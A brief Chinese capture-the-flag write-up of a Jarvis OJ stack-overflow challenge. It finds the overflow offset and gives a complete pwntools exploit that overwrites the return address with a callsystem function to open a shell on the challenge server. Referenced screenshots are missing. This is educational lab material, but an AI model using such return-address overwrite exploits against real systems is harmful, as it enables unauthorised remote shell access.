这题就是返回利用自身代码。
拿到题目首先检查有什么防护
开启了NX保护,没开canary和PIE,本身程序基址不会变。
放到 IDA里看一下:
main函数如下:
调用了 vulner函数:
简单的栈溢出漏洞
这里看到有callsystem这个函数,那就很明显了,将返回地址覆盖为callsystem函数的地址即可。
计算下溢出点:
由于是64位的,不能访问超过0x00007fffffffffff的地址空间,所以会报错,不过可以通过查看RSP指向的值来确定:
确定溢出点:
exp如下:
from pwn import *
a=remote("pwn2.jarvisoj.com","9881")
payload='A'*136+p64(0x0000000000400596)
a.recvuntil("d")
a.send(payload)
a.interactive()
运行即可得到shell: